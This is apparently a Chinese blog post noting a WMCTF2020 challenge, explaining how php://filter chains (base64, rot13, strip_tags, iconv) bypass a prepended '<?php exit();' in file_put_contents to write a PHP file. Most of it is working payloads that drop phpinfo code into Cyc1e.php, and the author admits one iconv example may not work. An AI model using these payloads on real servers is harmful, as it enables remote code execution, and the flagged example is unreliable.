关于php:// filter的简单利用

/ 0评 / 0

今天看了WMCTF2020中的一道题目,看到了一个<?php exit();绕过的操作,于是在这里记录一下

简单介绍

php://filter是PHP语言中特有的协议流,作用是作为一个“中间流”来处理其他流。php://filter最常出现在XXE漏洞中。我们在读取HTML、PHP等文件得时候可能会出现此类错parser error : StartTag: invalid element name。其原因在于,PHP是基于标签得脚本语言,<?php...?> 这个语法也和XML相符合,所以在解析XML时被误认为XML,其中得特殊字符又和标准XML冲突,从而导致了出错

file_put_contents($filename,"<?php exit();".$content);

前提:前后变量不同且变量都可控

思路

$filename控制了写入的文件名,$content拼接在<?php exit();之后。如果这里我们使用php://filter协议,就可以先按照php://filter规定的协议对$content进行解码后再写入。同时,php://filter支持使用多个过滤器规则,使得我们可以进行连环操作。目标很简单,就是把<?php exit()解码为php不认识的字符,而我们构造的内容能被正常解码。

0x01 Base64编码

利用base64编码,通过解码把<?php exit();解码为乱码,而我们传入的shell的base64 内容能被正常解码,但由于<?php exit();中只有phpexit参与解码,所以解码的时候需要补一位

<?
$filename = 'php://filter/write=convert.base64-decode/resource=Cyc1e.php';
$content = 'aPD9waHAgcGhwaW5mbygpOz8+';
file_put_contents($filename,"<?php exit();".$content);
?>

0x02Rot编码

同理我们可以用rot13编码来绕过,原理与上一样。但这种情况需要服务器没有开启短标签才可使用(php.ini中的short_open_tag)

<?
$filename = 'php://filter/write=string.rot13/resource=Cyc1e.php';
$content = '<?cuc cucvasb();?>';
file_put_contents($filename,"<?php exit();".$content);
?>

0x03组合拳

我们可以用过利用strip_tags的方法来直接出去xml,而我们传入的shell由于是通过base64编码的,不会被出去,因此我们将其再解码即可

<?
$filename = 'php://filter/write=string.strip_tags|convert.base64-decode/resource=Cyc1e.php';
$content = '?>PD9waHAgcGhwaW5mbygpOz8+';
file_put_contents($filename,"<?php exit();".$content);
?>

file_put_content($a," <?php exit();".$a)

前提:前后两个变量相同且可控

0x01 Base64编码

根据大佬的说法,只用base64是不行的

如果只用base64,最后获取文件名的时候resource=中的=可能会误解析之前的内容为base64里面的内容,导致过滤器解码失败,从而报错。

0x02 Rot13

rot13不存在base64的问题,可以尝试(默认需要服务器没有开启短标签)

<?
$a = "php://filter/write=string.rot13|<?cuc cucvasb();?>|/resource=Cyc1e.php";
file_put_contents($a,"<?php exit();".$a);
?>

0x03 iconv字符编码转换

这种方法通过字符转换吧<?php exit();转成不能解析的,而我们构造的转成可正常解析的。

这里我们采用USC-2

echo iconv("UCS-4LE","UCS-4BE",'aa<?php phpinfo();?>');
?<aa phpinfo(ofn>?;)

通过 USC-2,对目标字符串进行2位一反转,构造USC-2中2的倍数。构造如下

<?
$a='php://filter//convert.iconv.UCS-2LE.UCS-2BE|?<hp phpipfn(o;)>?/resource=Cyc1e.php';
file_put_contents($a,"<?php exit();".$a);
?>

(这里我可能有点错误,按照原博客操作但是结果不一样,如有需要可以去原博客看看,地址我会放在文章最后)

0x04 组合拳

第一套

相同变量也可以使用组合拳

这里使用UCS-2和Rot13的组合

<?
$a = 'php://filter/write=convert.iconv.UCS-2LE.UCS-2BE|string.rot13|x?<uc cucvcsa(b;)>?/resource=Cyc1e.php';
file_put_contents($a,"<?php exit();".$a);
?>

第二套

我们可以通过 iconv 将utf8编码转为 utf7编码,从而把 = 给转换,这样就不会影响base64的解码

$a='php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode|AAPD9waHAgcGhwaW5mbygpOz8+/resource=Cyc1e.php';

转码后的结果为

UTF-8:php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode|AAPD9waHAgcGhwaW5mbygpOz8+/resource=Cyc1e.php

UTF-7:php://filter/convert.iconv.utf-8.utf-7+AHw-convert.base64-decode+AHw-AAPD9waHAgcGhwaW5mbygpOz8+-/resource+AD0-Cyc1e.php
<?
$a='php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode|AAPD9waHAgcGhwaW5mbygpOz8+/resource=Cyc1e.php';
file_put_contents($a,"<?php exit();".$a);
?>

因此,对于base64的运用,只要找到一个能把 = 转了同时又不影响 base64编码后的字符的转码方式即可

第三套

strip_tags方法&&base64的组合。这种方法的前提要求是Linux系统。(Windows 不支持文件名含有?、>等字符)

<?
$a = 'php://filter/write=string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8+.php';
file_put_contents($a,"<?php exit();".$a);
?>

在文件前加上 ?><?php exit(); 闭合,同时 = 也在闭合的标签之间,所以利用strip_tags处理的时候直接把<?php......?>内的所有内容删除了,再对剩下的部分 进行base64解码。

我们也可以用 ../ 来构造

$a = 'php://filter/write=string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8+/../Cyc1e.php';

利用 ../ 回退

总结

通过看了大佬的博客,感觉自己还是能学到许多知识的

关于file_put_contents的一些小测试

谈一谈php://filter的妙用

发表评论

邮箱地址不会被公开。